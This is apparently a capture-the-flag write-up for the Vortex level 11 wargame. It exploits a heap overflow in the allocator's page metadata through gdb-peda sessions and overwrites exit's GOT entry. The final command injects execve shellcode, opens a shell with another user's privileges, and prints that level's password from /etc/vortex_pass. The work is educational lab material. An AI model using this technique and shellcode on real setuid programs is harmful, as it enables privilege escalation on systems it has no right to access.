gdb-peda$ p/x p
$229 = 0x804d000
gdb-peda$ p/x q
$230 = 0x804e030
gdb-peda$ p/x r
$231 = 0x804d800
gdb-peda$ p/x s
$232 = 0x804e040

we'll be overwriting s from r since we can do that. Let's see what s is

gdb-peda$ p/x 0x0804e040&0xffffff00
$233 = 0x804e000
gdb-peda$ p/x (((struct pginfo)((*0x0804e000))))
$234 = {
  next = 0x0, 
  page = 0x804e000, 
  size = 0x10, 
  shift = 0x4, 
  free = 0xfb, 
  total = 0xfd, 
  bits = {0xffffffe0}
}

so we see the pginfo struct of s. We overwrite stuff and see what happens to the above structure.

gdb-peda$ pattern_arg 2056 16
Set 2 arguments to program
gdb-peda$ r
<snip>
gdb-peda$ p/x (((struct pginfo)((*0x0804e000))))
$244 = {
  next = 0x44415944, 
  page = 0x5a444175, 
  size = 0x0, 
  shift = 0x4, 
  free = 0xfb, 
  total = 0xfd, 
  bits = {0xffffffe0}
}
gdb-peda$ pattern_offset 0x5a444175
1514422645 found at offset: 2052
gdb-peda$ pattern_offset 0x44415944
1145133380 found at offset: 2048

so we see that we control page and next for the allocated page of s at this point we see that we have segfaulted in strncpy.

=> 0xf7e5fbf9 <__strncpy_sse2+2857>:    movlpd QWORD PTR [edi],xmm0
....
gdb-peda$ i r edi
edi            0x5a4441b5       0x5a4441b5
gdb-peda$ i r xmm0
xmm0           {
  v4_float = {0xf, 0x305, 0x0, 0x0}, 
  v2_double = {0x8000000000000000, 0x0}, 
  v16_int8 = {0x41, 0x44, 0x76, 0x41, 0x44, 0x77, 0x41, 0x44, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  v8_int16 = {0x4441, 0x4176, 0x7744, 0x4441, 0x0, 0x0, 0x0, 0x0}, 
  v4_int32 = {0x41764441, 0x44417744, 0x0, 0x0}, 
  v2_int64 = {0x4441774441764441, 0x0}, 
  uint128 = 0x00000000000000004441774441764441
}

from here we see that edi == page, xmm0.v4_int32 is at offset 2056 (in argv[2]). So we can write anything v4_int32 in xmm0 to any edi pointer. Let's see exit@got.plt since this will be called after strncpy finishes :) so when it calls exit it'll be calling our evil exit.

gdb-peda$ disassemble 0x0804859b
Dump of assembler code for function exit@plt:
   0x08048590 <+0>:     jmp    DWORD PTR ds:0x804b5d4

this 0x0804b5d4-0x40 is the pointer we want to write. the +0x40 that comes into edi is from the malloc thingy so we have to subtract that value to get the exact address we want as you see from above edi points to the address we want plus 0x40.

gdb-peda$ r "$(python2 -c 'print "\x41"*2052+"\x94\xb5\x04\x08"')" "$(python2 -c 'print "\x11\x11\x11\x11"+"\x33"*12')"
.....
<strncpy@plt>
   0x8049da3 <main+150>:        add    esp,0x10
=> 0x8049da6 <main+153>:        sub    esp,0xc
   0x8049da9 <main+156>:        push   0x0
   0x8049dab <main+158>:        call   0x8048590 <exit@plt>
   0x8049db0 <__libc_csu_init>: push   ebp
   0x8049db1 <__libc_csu_init+1>:       push   edi
[---------stack-------]
0000| 0xffffc260 --> 0x804b5d4 --> 0x11111111 
0004| 0xffffc264 --> 0x804d800 ('A' <repeats 200 times>...)
.....
[---------------------]
Breakpoint 1, main (argc=0x3, argv=0xffffc324) at vortex11.c:20
20              exit(0);
gdb-peda$ c
Continuing.
Stopped reason: SIGSEGV
0x11111111 in ?? ()

This all looks perfect let us exploit it in vortex machine now. I find that exit pointer at 0x0804c01c-0x40==0x0804bfdc.

vortex11@melinda:~$ /vortex/vortex11 "$(python2 -c 'sh="\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";print "\x90"*(2052-len(sh))+sh+"\xdc\xbf\x04\x08"')" "$(python2 -c 'print "\x7c\xd1\xff\xff"+"\x33"*12')"
$ id
uid=5011(vortex11) gid=5011(vortex11) euid=5012(vortex12) groups=5012(vortex12),5011(vortex11)
$ cat /etc/vortex_pass/vortex12
nKV95q]dx

I will just stop here and continue the solutions to the next levels sometime soon in another post.